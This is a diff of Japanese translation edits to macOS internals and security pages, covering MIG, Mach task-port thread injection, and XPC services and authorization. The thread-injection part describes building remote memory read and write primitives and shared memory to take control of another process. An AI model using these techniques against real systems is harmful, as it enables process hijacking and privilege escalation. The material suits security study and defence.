通常、適切に処理されない場合、レポートはReportCrashデーモンによって処理されます。ただし、同じタスク内の別のスレッドが例外を管理することも可能であり、これが `PLCreashReporter` のようなクラッシュレポートツールが行うことです。 通常、適切に処理されない場合、レポートはReportCrashデーモンによって処理されることになります。ただし、同じタスク内の別のスレッドが例外を管理することも可能であり、これが `PLCreashReporter` のようなクラッシュレポートツールが行うことです。
## その他のオブジェクト ## その他のオブジェクト
### クロック ### クロック
任意のユーザーはクロックに関する情報にアクセスできますが、時間を設定したり他の設定を変更したりするにはroot権限が必要です。 任意のユーザーはクロックに関する情報にアクセスできますが、時間を設定したり他の設定を変更したりするにはrootである必要があります。
情報を取得するためには、`clock` サブシステムの関数を呼び出すことができます: `clock_get_time``clock_get_attributtes` または `clock_alarm`\ 情報を取得するためには、`clock` サブシステムの関数を呼び出すことができます: `clock_get_time``clock_get_attributtes` または `clock_alarm`\
値を変更するためには、`clock_priv` サブシステムを使用し、`clock_set_time``clock_set_attributes` のような関数を使用できます。 値を変更するためには、`clock_priv` サブシステムを使用し、`clock_set_time``clock_set_attributes` のような関数を使用できます。
@ -1093,7 +1093,7 @@ macos-thread-injection-via-task-port.md
プロセッサAPIは、`processor_start``processor_exit``processor_info``processor_get_assignment` などの関数を呼び出すことで、単一の論理プロセッサを制御することを可能にします。 プロセッサAPIは、`processor_start``processor_exit``processor_info``processor_get_assignment` などの関数を呼び出すことで、単一の論理プロセッサを制御することを可能にします。
さらに、**プロセッサセット** APIは、複数のプロセッサをグループ化する方法を提供します。**`processor_set_default`** を呼び出すことで、デフォルトのプロセッサセットを取得できます。\ さらに、**プロセッサセット** APIは、複数のプロセッサをグループにまとめる方法を提供します。**`processor_set_default`** を呼び出すことで、デフォルトのプロセッサセットを取得できます。\
プロセッサセットと対話するための興味深いAPIは以下の通りです プロセッサセットと対話するための興味深いAPIは以下の通りです
- `processor_set_statistics` - `processor_set_statistics`
@ -1103,7 +1103,7 @@ macos-thread-injection-via-task-port.md
- `processor_set_info` - `processor_set_info`
[**この投稿**](https://reverse.put.as/2014/05/05/about-the-processor_set_tasks-access-to-kernel-memory-vulnerability/)で述べたように、過去には、**`processor_set_tasks`** を呼び出して他のプロセスのタスクポートを取得し、それらを制御するために、前述の保護を回避することができました。\ [**この投稿**](https://reverse.put.as/2014/05/05/about-the-processor_set_tasks-access-to-kernel-memory-vulnerability/)で述べたように、過去には、**`processor_set_tasks`** を呼び出して他のプロセスのタスクポートを取得し、それらを制御するために、前述の保護を回避することができました。\
現在では、その関数を使用するにはroot権限が必要であり、これは保護されているため、保護されていないプロセスでのみこれらのポートを取得できます。 現在では、その関数を使用するにはrootが必要であり、これは保護されているため、保護されていないプロセスでのみこれらのポートを取得できるようになります。
以下のように試すことができます: 以下のように試すことができます:

View File

@ -11,7 +11,7 @@ MIGは**Mach IPC**コード作成のプロセスを**簡素化するために作
これらの定義には5つのセクションがあります これらの定義には5つのセクションがあります
- **サブシステム宣言**キーワードsubsystemは**名前**と**ID**を示すために使用されます。また、サーバーがカーネルで実行されるべき場合は**`KernelServer`**としてマークすることも可能です。 - **サブシステム宣言**キーワードsubsystemは**名前**と**ID**を示すために使用されます。また、サーバーがカーネルで実行されるべき場合は**`KernelServer`**としてマークすることも可能です。
- **インクルーとインポート**MIGはCプリプロセッサを使用しているため、インポートを使用できます。さらに、ユーザーまたはサーバー生成コードのために`uimport`および`simport`を使用することも可能です。 - **インクルージョンとインポート**MIGはCプリプロセッサを使用しているため、インポートを使用できます。さらに、ユーザーまたはサーバー生成コードのために`uimport`および`simport`を使用することも可能です。
- **型宣言**:データ型を定義することが可能ですが、通常は`mach_types.defs`および`std_types.defs`をインポートします。カスタムのものにはいくつかの構文を使用できます: - **型宣言**:データ型を定義することが可能ですが、通常は`mach_types.defs`および`std_types.defs`をインポートします。カスタムのものにはいくつかの構文を使用できます:
- \[i`n/out]tran`:受信メッセージまたは送信メッセージから翻訳する必要がある関数 - \[i`n/out]tran`:受信メッセージまたは送信メッセージから翻訳する必要がある関数
- `c[user/server]type`別のC型へのマッピング。 - `c[user/server]type`別のC型へのマッピング。
@ -50,9 +50,9 @@ mig -header myipcUser.h -sheader myipcServer.h myipc.defs
> [!TIP] > [!TIP]
> より複雑な例は、システムで `mdfind mach_port.defs` を使用して見つけることができます。\ > より複雑な例は、システムで `mdfind mach_port.defs` を使用して見つけることができます。\
> また、ファイルと同じフォルダから `mig -DLIBSYSCALL_INTERFACE mach_ports.defs` を使用してコンパイルできます。 > また、ファイルと同じフォルダから `mig -DLIBSYSCALL_INTERFACE mach_ports.defs` を使用してコンパイルできます。
ファイル **`myipcServer.c`** と **`myipcServer.h`** には、受信したメッセージIDに基づいて呼び出す関数を定義する構造体 **`SERVERPREFmyipc_subsystem`** の宣言と定義があります(開始番号は500と指定しました)。 ファイル **`myipcServer.c`** と **`myipcServer.h`** には、受信したメッセージIDに基づいて呼び出す関数を基本的に定義する構造体 **`SERVERPREFmyipc_subsystem`** の宣言と定義があります(開始番号として500を指定しました)。
{{#tabs}} {{#tabs}}
{{#tab name="myipcServer.c"}} {{#tab name="myipcServer.c"}}
@ -217,7 +217,7 @@ USERPREFSubtract(port, 40, 2);
### NDR_record ### NDR_record
NDR_recordは`libsystem_kernel.dylib`によってエクスポートされる構造体で、MIGが**システムに依存しないデータに変換する**ことを可能にします。MIGは異なるシステム間で使用されることを想定して設計されているため(同じマシン内だけではなく)。 NDR_recordは`libsystem_kernel.dylib`によってエクスポートされる構造体で、MIGが**データを変換できるようにする**ためのもので、異なるシステム間で使用されることを想定しています(同じマシン内だけではなく)。
これは興味深いことで、バイナリ内に依存関係として`_NDR_record`が見つかると(`jtool2 -S <binary> | grep NDR`または`nm`、そのバイナリがMIGクライアントまたはサーバーであることを意味します。 これは興味深いことで、バイナリ内に依存関係として`_NDR_record`が見つかると(`jtool2 -S <binary> | grep NDR`または`nm`、そのバイナリがMIGクライアントまたはサーバーであることを意味します。
@ -229,7 +229,7 @@ NDR_recordは`libsystem_kernel.dylib`によってエクスポートされる構
### jtool ### jtool
多くのバイナリが現在MIGを使用してマッチポートを公開しているため、**MIGが使用されたことを特定する方法**と**各メッセージIDでMIGが実行する関数**を知ることは興味深いです。 多くのバイナリがMIGを使用してマシンポートを公開しているため、**MIGが使用されたことを特定する方法**と**各メッセージIDでMIGが実行する関数**を知ることは興味深いです。
[**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/#jtool2)は、Mach-OバイナリからMIG情報を解析し、メッセージIDを示し、実行する関数を特定できます [**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/#jtool2)は、Mach-OバイナリからMIG情報を解析し、メッセージIDを示し、実行する関数を特定できます
```bash ```bash
@ -239,9 +239,9 @@ jtool2 -d __DATA.__const myipc_server | grep MIG
```bash ```bash
jtool2 -d __DATA.__const myipc_server | grep BL jtool2 -d __DATA.__const myipc_server | grep BL
``` ```
### アセンブリ ### Assembly
受信したメッセージIDに応じて**正しい関数を呼び出す**役割を果たす関数は`myipc_server`であることが前述されました。しかし、通常はバイナリのシンボル(関数名がない)を持っていないため、**逆コンパイルされたときの見た目を確認することが興味深い**です。この関数のコードは、公開されている関数とは独立しています。 以前、受信したメッセージIDに応じて**正しい関数を呼び出す**役割を果たす関数は`myipc_server`であると述べました。しかし、通常はバイナリのシンボル(関数名がない)を持っていないため、**逆コンパイルされたときの見た目を確認することが興味深い**です。この関数のコードは、公開されている関数とは独立しています。
{{#tabs}} {{#tabs}}
{{#tab name="myipc_server decompiled 1"}} {{#tab name="myipc_server decompiled 1"}}
@ -373,11 +373,11 @@ return r0;
このデータは[**このHopperスクリプトを使用して**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py)抽出できます。 このデータは[**このHopperスクリプトを使用して**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py)抽出できます。
### デバッグ ### Debug
MIGによって生成されたコードは、`kernel_debug`を呼び出して、エントリおよびエグジットの操作に関するログを生成します。これらは**`trace`**または**`kdv`**を使用して確認できます:`kdv all | grep MIG` MIGによって生成されたコードは、`kernel_debug`を呼び出して、エントリおよびエグジットに関する操作のログを生成します。これらは**`trace`**または**`kdv`**を使用して確認できます:`kdv all | grep MIG`
## 参考文献 ## References
- [\*OS Internals, Volume I, User Mode, Jonathan Levin](https://www.amazon.com/MacOS-iOS-Internals-User-Mode/dp/099105556X) - [\*OS Internals, Volume I, User Mode, Jonathan Levin](https://www.amazon.com/MacOS-iOS-Internals-User-Mode/dp/099105556X)

View File

@ -27,7 +27,7 @@
戦略の1つは、`thread_set_special_port()`を利用して、リモートスレッドの `THREAD_KERNEL_PORT` にローカルポートへの送信権を配置することです。その後、リモートスレッドに `mach_thread_self()` を呼び出して送信権を取得させます。 戦略の1つは、`thread_set_special_port()`を利用して、リモートスレッドの `THREAD_KERNEL_PORT` にローカルポートへの送信権を配置することです。その後、リモートスレッドに `mach_thread_self()` を呼び出して送信権を取得させます。
リモートポートについては、プロセスが基本的に逆になります。リモートスレッドに `mach_reply_port()` を介してMachポートを生成させます`mach_port_allocate()`はその返却メカニズムのため不適切です)。ポートが作成されると、`mach_port_insert_right()`リモートスレッドで呼び出され、送信権が確立されます。この権利はその後、`thread_set_special_port()`を使用してカーネルに保存されます。ローカルタスクに戻ると、`thread_get_special_port()`をリモートスレッドで使用して、リモートタスク新しく割り当てられたMachポートへの送信権を取得します。 リモートポートについては、プロセスが基本的に逆になります。リモートスレッドに `mach_reply_port()` を介してMachポートを生成させます`mach_port_allocate()`はその返却メカニズムのため不適切です)。ポートが作成されると、リモートスレッド内で `mach_port_insert_right()` が呼び出され、送信権が確立されます。この権利はその後、`thread_set_special_port()`を使用してカーネルに保存されます。ローカルタスクに戻ると、`thread_get_special_port()`をリモートスレッドで使用して、リモートタスク内の新しく割り当てられたMachポートへの送信権を取得します。
これらのステップを完了すると、Machポートが確立され、双方向通信の基盤が整います。 これらのステップを完了すると、Machポートが確立され、双方向通信の基盤が整います。
@ -37,7 +37,7 @@
### Memory Reading and Writing Using Execute Primitive ### Memory Reading and Writing Using Execute Primitive
目的は、特定の関数を使用してメモリの読み書きを行うことです。メモリを読み取るためには、以下の構造に似た関数が使用されます: メモリの読み書きを特定の関数を使用して行うことが目標です。メモリを読み取るためには、以下の構造に似た関数が使用されます:
```c ```c
uint64_t read_func(uint64_t *address) { uint64_t read_func(uint64_t *address) {
return *address; return *address;
@ -72,7 +72,7 @@ return prop->name;
この関数は、`objc_property_t`の最初のフィールドを返すことによって、実質的に`read_func`のように機能します。 この関数は、`objc_property_t`の最初のフィールドを返すことによって、実質的に`read_func`のように機能します。
2. **メモリの書き込み:** 2. **メモリの書き込み:**
メモリを書き込むための事前構築された関数を見つけることは、より困難です。しかし、libxpcの`_xpc_int64_set_value()`関数は、以下の逆アセンブルを持つ適切な候補です: メモリを書き込むための事前構築された関数を見つけることは、より困難です。しかし、libxpcの`_xpc_int64_set_value()`関数は、以下の逆アセンブルを持つ適切な候補です
```c ```c
__xpc_int64_set_value: __xpc_int64_set_value:
str x1, [x0, #0x18] str x1, [x0, #0x18]
@ -84,7 +84,7 @@ _xpc_int64_set_value(address - 0x18, value)
``` ```
これらのプリミティブが確立されると、共有メモリを作成するためのステージが整い、リモートプロセスの制御において重要な進展が見られます。 これらのプリミティブが確立されると、共有メモリを作成するためのステージが整い、リモートプロセスの制御において重要な進展が見られます。
## 4. 共有メモリの設定 ## 4. 共有メモリのセットアップ
目的は、ローカルタスクとリモートタスク間で共有メモリを確立し、データ転送を簡素化し、複数の引数を持つ関数の呼び出しを容易にすることです。このアプローチは、`libxpc`とその`OS_xpc_shmem`オブジェクトタイプを活用し、Machメモリエントリに基づいています。 目的は、ローカルタスクとリモートタスク間で共有メモリを確立し、データ転送を簡素化し、複数の引数を持つ関数の呼び出しを容易にすることです。このアプローチは、`libxpc`とその`OS_xpc_shmem`オブジェクトタイプを活用し、Machメモリエントリに基づいています。
@ -105,11 +105,11 @@ _xpc_int64_set_value(address - 0x18, value)
- `thread_set_special_port()`メソッドを利用して、リモートタスクにMachメモリエントリの送信権を挿入します。 - `thread_set_special_port()`メソッドを利用して、リモートタスクにMachメモリエントリの送信権を挿入します。
- リモートメモリエントリの名前でオフセット`0x18`のMachメモリエントリフィールドを上書きして修正します。 - リモートメモリエントリの名前でオフセット`0x18`のMachメモリエントリフィールドを上書きして修正します。
4. **共有メモリ設定の最終化** 4. **共有メモリセットアップの最終化**
- リモートの`OS_xpc_shmem`オブジェクトを検証します。 - リモートの`OS_xpc_shmem`オブジェクトを検証します。
- `xpc_shmem_remote()`へのリモート呼び出しで共有メモリマッピングを確立します。 - `xpc_shmem_remote()`へのリモート呼び出しで共有メモリマッピングを確立します。
これらの手順に従うことで、ローカルタスクとリモートタスク間の共有メモリが効率的に設定され、データ転送が簡単になり、複数の引数を必要とする関数の実行が可能になります。 これらの手順に従うことで、ローカルタスクとリモートタスク間の共有メモリが効率的にセットアップされ、データ転送が簡単になり、複数の引数を必要とする関数の実行が可能になります。
## 追加のコードスニペット ## 追加のコードスニペット
@ -118,7 +118,7 @@ _xpc_int64_set_value(address - 0x18, value)
mach_vm_allocate(); mach_vm_allocate();
xpc_shmem_create(); xpc_shmem_create();
``` ```
リモートプロセス内の共有メモリオブジェクトを作成および修正するには: リモートプロセス共有メモリオブジェクトを作成および修正するには:
```c ```c
malloc(); // for allocating memory remotely malloc(); // for allocating memory remotely
thread_set_special_port(); // for inserting send right thread_set_special_port(); // for inserting send right
@ -152,7 +152,7 @@ Machポートとメモリエントリ名の詳細を正しく処理して、共
- システムの安定性とデータの整合性を維持するために、メモリの読み取り/書き込み操作に`memcpy()`を適切に使用してください。 - システムの安定性とデータの整合性を維持するために、メモリの読み取り/書き込み操作に`memcpy()`を適切に使用してください。
- Machポートやファイルディスクリプタを転送する際は、適切なプロトコルに従い、リソースを責任を持って処理して、リークや意図しないアクセスを防いでください。 - Machポートやファイルディスクリプタを転送する際は、適切なプロトコルに従い、リソースを責任を持って処理して、リークや意図しないアクセスを防いでください。
これらのガイドラインに従い、`threadexec`ライブラリを利用することで、プロセスを効率的に管理し、詳細なレベルでインタラクションを行い、ターゲットプロセスに対する完全な制御を達成できます。 これらのガイドラインに従い、`threadexec`ライブラリを利用することで、プロセスを効率的に管理し、細かいレベルでインタラクションを行い、ターゲットプロセスに対する完全な制御を達成できます。
## 参考文献 ## 参考文献

View File

@ -4,31 +4,31 @@
## 基本情報 ## 基本情報
XPCは、macOSで使用されるカーネルであるXNUのプロセス間通信のフレームワークで、macOSおよびiOS上の**プロセス間の通信**を提供します。XPCは、システム上の異なるプロセス間で**安全で非同期のメソッド呼び出し**を行うためのメカニズムを提供します。これはAppleのセキュリティパラダイムの一部であり、各**コンポーネント**がその仕事を行うために必要な**権限のみ**で実行される**特権分離アプリケーション**の**作成**を可能にします。これにより、侵害されたプロセスからの潜在的な損害を制限します。 XPCは、macOSで使用されるカーネルであるXNUのプロセス間通信の略で、macOSおよびiOS上の**プロセス間の通信**のためのフレームワークです。XPCは、システム上の異なるプロセス間で**安全で非同期のメソッド呼び出し**を行うためのメカニズムを提供します。これはAppleのセキュリティパラダイムの一部であり、各**コンポーネント**がその仕事を行うために必要な**権限のみ**で実行される**特権分離アプリケーション**の**作成**を可能にします。これにより、侵害されたプロセスからの潜在的な損害を制限します。
XPCは、同じシステム上で実行されている異なるプログラムがデータを送受信するための一連のメソッドであるプロセス間通信IPCの一形態を使用します。 XPCは、同じシステム上で実行されている異なるプログラムがデータを送受信するための一連のメソッドであるプロセス間通信IPCの一形態を使用します。
XPCの主な利点は次のとおりです。 XPCの主な利点は以下の通りです:
1. **セキュリティ**: 作業を異なるプロセスに分離することで、各プロセスには必要な権限のみが付与されます。これにより、プロセスが侵害されても、害を及ぼす能力は制限されます。 1. **セキュリティ**作業を異なるプロセスに分離することで、各プロセスには必要な権限のみが付与されます。これにより、プロセスが侵害されても、害を及ぼす能力は制限されます。
2. **安定性**: XPCは、クラッシュを発生したコンポーネントに隔離するのに役立ちます。プロセスがクラッシュした場合、システムの他の部分に影響を与えることなく再起動できます。 2. **安定性**XPCは、クラッシュを発生したコンポーネントに隔離するのに役立ちます。プロセスがクラッシュした場合、システムの他の部分に影響を与えることなく再起動できます。
3. **パフォーマンス**: XPCは、異なるタスクを異なるプロセスで同時に実行できるため、簡単な同時実行を可能にします。 3. **パフォーマンス**XPCは、異なるタスクを異なるプロセスで同時に実行できるため、簡単な同時実行を可能にします。
唯一の**欠点**は、**アプリケーションを複数のプロセスに分離**し、それらがXPCを介して通信することが**効率が低い**ことです。しかし、今日のシステムではほとんど目立たず、利点の方が大きいです。 唯一の**欠点**は、**アプリケーションを複数のプロセスに分離**し、それらがXPCを介して通信することが**効率が低い**ことです。しかし、今日のシステムではほとんど目立たず、利点の方が大きいです。
## アプリケーション有のXPCサービス ## アプリケーション有のXPCサービス
アプリケーションのXPCコンポーネントは**アプリケーション自体の内部**にあります。たとえば、Safariでは**`/Applications/Safari.app/Contents/XPCServices`**に見つけることができます。これらは**`.xpc`**拡張子を持ち(例: **`com.apple.Safari.SandboxBroker.xpc`**)、メインバイナリの内部に**バンドル**されています: `/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker`および`Info.plist: /Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/Info.plist` アプリケーションのXPCコンポーネントは**アプリケーション自体の内部**にあります。たとえば、Safariでは**`/Applications/Safari.app/Contents/XPCServices`**に見つけることができます。これらは**`.xpc`**拡張子を持ち(例**`com.apple.Safari.SandboxBroker.xpc`**)、メインバイナリの内部に**バンドル**されています`/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker`および`Info.plist: /Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/Info.plist`
あなたが考えているように、**XPCコンポーネントは他のXPCコンポーネントやメインアプリバイナリとは異なる権限と特権を持つ**ことになります。ただし、XPCサービスが**Info.plist**ファイルで[**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information_property_list/xpcservice/joinexistingsession)を“True”に設定されている場合を除きます。この場合、XPCサービスは呼び出したアプリケーションと**同じセキュリティセッション**で実行されます。 あなたが考えているように、**XPCコンポーネントは他のXPCコンポーネントやメインアプリバイナリとは異なる権限と特権を持つ**ことになります。ただし、XPCサービスが**Info.plist**ファイルで**JoinExistingSession**を“True”に設定されている場合を除きます。この場合、XPCサービスは呼び出したアプリケーションと**同じセキュリティセッション**で実行されます。
XPCサービスは、必要に応じて**launchd**によって**開始され**、すべてのタスクが**完了**するとシステムリソースを解放するために**シャットダウン**されます。**アプリケーション有のXPCコンポーネントはアプリケーションによってのみ利用可能**であり、潜在的な脆弱性に関連するリスクを低減します。 XPCサービスは**launchd**によって必要に応じて**開始**され、すべてのタスクが**完了**するとシステムリソースを解放するために**シャットダウン**されます。**アプリケーション有のXPCコンポーネントはアプリケーションによってのみ利用可能**であり、潜在的な脆弱性に関連するリスクを低減します。
## システム全体のXPCサービス ## システム全体のXPCサービス
システム全体のXPCサービスはすべてのユーザーがアクセス可能です。これらのサービスは、launchdまたはMachタイプであり、**`/System/Library/LaunchDaemons`**、**`/Library/LaunchDaemons`**、**`/System/Library/LaunchAgents`**、または**`/Library/LaunchAgents`**などの指定されたディレクトリにあるplistファイルで**定義する必要があります** システム全体のXPCサービスはすべてのユーザーがアクセス可能です。これらのサービスは、launchdまたはMachタイプであり、**`/System/Library/LaunchDaemons`**、**`/Library/LaunchDaemons`**、**`/System/Library/LaunchAgents`**、または**`/Library/LaunchAgents`**などの指定されたディレクトリにあるplistファイルで**定義**する必要があります。
これらのplistファイルには、サービスの名前を持つ**`MachServices`**というキーと、バイナリへのパスを持つ**`Program`**というキーがあります: これらのplistファイルには、サービスの名前を持つ**`MachServices`**というキーと、バイナリへのパスを持つ**`Program`**というキーがあります
```xml ```xml
cat /Library/LaunchDaemons/com.jamf.management.daemon.plist cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
@ -107,12 +107,12 @@ XPCはメッセージを渡すためにGCDを使用し、さらに`xpc.transacti
XPCサービスの検索速度を向上させるために、キャッシュが使用されます。 XPCサービスの検索速度を向上させるために、キャッシュが使用されます。
`xpcproxy`のアクションをトレースすることができます: `xpcproxy`のアクションをトレースすることができます
```bash ```bash
supraudit S -C -o /tmp/output /dev/auditpipe supraudit S -C -o /tmp/output /dev/auditpipe
``` ```
XPCライブラリは、`kdebug`を使用して、`xpc_ktrace_pid0`および`xpc_ktrace_pid1`を呼び出すアクションをログに記録します。使用されるコードは文書化されていないため、これらを`/usr/share/misc/trace.codes`に追加する必要があります。これらのコードはプレフィックス`0x29`を持ち、例えば`0x29000004`: `XPC_serializer_pack`のようになります。\ XPCライブラリは、`xpc_ktrace_pid0`および`xpc_ktrace_pid1`を呼び出すアクションをログするために`kdebug`を使用します。使用されるコードは文書化されていないため、`/usr/share/misc/trace.codes`に追加する必要があります。これらのコードは`0x29`のプレフィックスを持ち、例えば`0x29000004`: `XPC_serializer_pack`があります。\
ユーティリティ`xpcproxy`プレフィックス`0x22`を使用し、例えば`0x2200001c: xpcproxy:will_do_preexec`のようになります。 ユーティリティ`xpcproxy``0x22`のプレフィックスを使用し、例えば`0x2200001c: xpcproxy:will_do_preexec`があります。
## XPCイベントメッセージ ## XPCイベントメッセージ
@ -120,7 +120,7 @@ XPCライブラリは、`kdebug`を使用して、`xpc_ktrace_pid0`および`xpc
### XPC接続プロセスチェック ### XPC接続プロセスチェック
プロセスがXPC接続を介してメソッドを呼び出そうとすると、**XPCサービスはそのプロセスが接続を許可されているかどうかを確認する必要があります**。以下は、その確認方法と一般的な落とし穴です: プロセスがXPC接続を介してメソッドを呼び出そうとすると、**XPCサービスはそのプロセスが接続を許可されているかどうかを確認する必要があります**。以下は、一般的な確認方法と一般的な落とし穴です:
{{#ref}} {{#ref}}
macos-xpc-connecting-process-check/ macos-xpc-connecting-process-check/
@ -440,7 +440,7 @@ return;
## Remote XPC ## Remote XPC
この機能は `RemoteXPC.framework``libxpc`からによって提供され、異なるホスト間でXPCを介して通信することができます。\ この機能は `RemoteXPC.framework``libxpc`からによって提供され、異なるホスト間でXPCを介して通信することができます。\
リモートXPCをサポートするサービスは、plistにUsesRemoteXPCキーを持っており、これは`/System/Library/LaunchDaemons/com.apple.SubmitDiagInfo.plist`ようなケースです。しかし、サービスは`launchd`登録されますが、機能を提供するのは`UserEventAgent`あり、プラグイン`com.apple.remoted.plugin``com.apple.remoteservicediscovery.events.plugin`です。 リモートXPCをサポートするサービスは、plistにUsesRemoteXPCキーを持っており、これは`/System/Library/LaunchDaemons/com.apple.SubmitDiagInfo.plist`のケースのようです。しかし、サービスは`launchd`登録されますが、機能を提供するのは`UserEventAgent`で、プラグイン`com.apple.remoted.plugin``com.apple.remoteservicediscovery.events.plugin`です。
さらに、`RemoteServiceDiscovery.framework`は、`com.apple.remoted.plugin`から情報を取得することを可能にし、`get_device``get_unique_device``connect`などの関数を公開しています。 さらに、`RemoteServiceDiscovery.framework`は、`com.apple.remoted.plugin`から情報を取得することを可能にし、`get_device``get_unique_device``connect`などの関数を公開しています。

View File

@ -6,11 +6,11 @@
Appleは、接続プロセスが**公開されたXPCメソッドを呼び出す権限を持っているかどうかを認証する**別の方法を提案しています。 Appleは、接続プロセスが**公開されたXPCメソッドを呼び出す権限を持っているかどうかを認証する**別の方法を提案しています。
アプリケーションが**特権ユーザーとしてアクションを実行する**必要がある場合、通常は特権ユーザーとしてアプリを実行するのではなく、アプリから呼び出してそのアクションを実行できるXPCサービスとしてHelperToolをルートとしてインストールします。ただし、サービスを呼び出すアプリは十分な認可を持っている必要があります。 アプリケーションが**特権ユーザーとしてアクションを実行する必要がある**場合、通常は特権ユーザーとしてアプリを実行するのではなく、アプリから呼び出してそのアクションを実行できるXPCサービスとしてHelperToolをルートとしてインストールします。ただし、サービスを呼び出すアプリは十分な認可を持っている必要があります。
### ShouldAcceptNewConnectionは常にYES ### ShouldAcceptNewConnectionは常にYES
例として、[EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample)を見つけることができます。`App/AppDelegate.m`では、**HelperTool**に**接続**しようとします。そして、`HelperTool/HelperTool.m`では、関数**`shouldAcceptNewConnection`**は、前述の要件のいずれも**チェックしません**。常にYESを返します: 例として、[EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample)を見つけることができます。`App/AppDelegate.m`では、**HelperTool**に**接続**しようとします。そして、`HelperTool/HelperTool.m`では、関数**`shouldAcceptNewConnection`**は、前述の要件**チェックしません**。常にYESを返します:
```objectivec ```objectivec
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection - (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection
// Called by our XPC listener when a new connection comes in. We configure the connection // Called by our XPC listener when a new connection comes in. We configure the connection
@ -27,7 +27,7 @@ newConnection.exportedObject = self;
return YES; return YES;
} }
``` ```
詳細な設定方法については、次を確認してください: 詳細な設定方法については、次のチェックを参照してください:
{{#ref}} {{#ref}}
macos-xpc-connecting-process-check/ macos-xpc-connecting-process-check/
@ -62,7 +62,7 @@ if (self->_authRef) {
[self.window makeKeyAndOrderFront:self]; [self.window makeKeyAndOrderFront:self];
} }
``` ```
`Common/Common.m``setupAuthorizationRights`関数は、アプリケーションの権限を`/var/db/auth.db`の認証データベースに保存します。データベースにまだ存在しない権限のみを追加することに注意してください `Common/Common.m``setupAuthorizationRights`関数は、アプリケーションの権限を`/var/db/auth.db`の認証データベースに保存します。データベースにまだ存在しない権限のみを追加することに注意してください:
```objectivec ```objectivec
+ (void)setupAuthorizationRights:(AuthorizationRef)authRef + (void)setupAuthorizationRights:(AuthorizationRef)authRef
// See comment in header. // See comment in header.
@ -174,7 +174,7 @@ block(authRightName, authRightDefault, authRightDesc);
``` ```
このプロセスの最後に、`commandInfo`内で宣言された権限は`/var/db/auth.db`に保存されます。ここでは、**各メソッド**が**認証を必要とする**こと、**権限名**、および**`kCommandKeyAuthRightDefault`**が見つかります。後者は**誰がこの権利を取得できるか**を示します。 このプロセスの最後に、`commandInfo`内で宣言された権限は`/var/db/auth.db`に保存されます。ここでは、**各メソッド**が**認証を必要とする**こと、**権限名**、および**`kCommandKeyAuthRightDefault`**が見つかります。後者は**誰がこの権利を取得できるか**を示します。
権利にアクセスできる人を示すための異なるスコープがあります。それらのいくつかは[AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity_authorization/lib/AuthorizationDB.h)で定義されています([ここで全てを見つけることができます](https://www.dssw.co.uk/reference/authorization-rights/)、要約すると: 権利にアクセスできる人を示すための異なるスコープがあります。それらのいくつかは[AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity_authorization/lib/AuthorizationDB.h)で定義されています([ここにすべてあります](https://www.dssw.co.uk/reference/authorization-rights/)が、要約すると:
<table><thead><tr><th width="284.3333333333333">名前</th><th width="165"></th><th>説明</th></tr></thead><tbody><tr><td>kAuthorizationRuleClassAllow</td><td>allow</td><td>誰でも</td></tr><tr><td>kAuthorizationRuleClassDeny</td><td>deny</td><td>誰も</td></tr><tr><td>kAuthorizationRuleIsAdmin</td><td>is-admin</td><td>現在のユーザーは管理者である必要があります(管理者グループ内)</td></tr><tr><td>kAuthorizationRuleAuthenticateAsSessionUser</td><td>authenticate-session-owner</td><td>ユーザーに認証を求めます。</td></tr><tr><td>kAuthorizationRuleAuthenticateAsAdmin</td><td>authenticate-admin</td><td>ユーザーに認証を求めます。彼は管理者である必要があります(管理者グループ内)</td></tr><tr><td>kAuthorizationRightRule</td><td>rule</td><td>ルールを指定します</td></tr><tr><td>kAuthorizationComment</td><td>comment</td><td>権利に関する追加のコメントを指定します</td></tr></tbody></table> <table><thead><tr><th width="284.3333333333333">名前</th><th width="165"></th><th>説明</th></tr></thead><tbody><tr><td>kAuthorizationRuleClassAllow</td><td>allow</td><td>誰でも</td></tr><tr><td>kAuthorizationRuleClassDeny</td><td>deny</td><td>誰も</td></tr><tr><td>kAuthorizationRuleIsAdmin</td><td>is-admin</td><td>現在のユーザーは管理者である必要があります(管理者グループ内)</td></tr><tr><td>kAuthorizationRuleAuthenticateAsSessionUser</td><td>authenticate-session-owner</td><td>ユーザーに認証を求めます。</td></tr><tr><td>kAuthorizationRuleAuthenticateAsAdmin</td><td>authenticate-admin</td><td>ユーザーに認証を求めます。彼は管理者である必要があります(管理者グループ内)</td></tr><tr><td>kAuthorizationRightRule</td><td>rule</td><td>ルールを指定します</td></tr><tr><td>kAuthorizationComment</td><td>comment</td><td>権利に関する追加のコメントを指定します</td></tr></tbody></table>
@ -228,13 +228,13 @@ assert(junk == errAuthorizationSuccess);
return error; return error;
} }
``` ```
注意してください、**そのメソッドを呼び出す権利を確認するために**、関数 `authorizationRightForCommand` は以前のコメントオブジェクト **`commandInfo`** をチェックします。次に、**`AuthorizationCopyRights`** を呼び出して、関数を呼び出す**権利があるかどうか**を確認します(フラグはユーザーとの対話を許可することに注意してください)。 注意すべきは、**そのメソッドを呼び出す権利を確認するために**、関数 `authorizationRightForCommand` は以前のコメントオブジェクト **`commandInfo`** をチェックするだけです。次に、**`AuthorizationCopyRights`** を呼び出して、関数を呼び出す**権利があるかどうか**を確認します(フラグはユーザーとの対話を許可することに注意してください)。
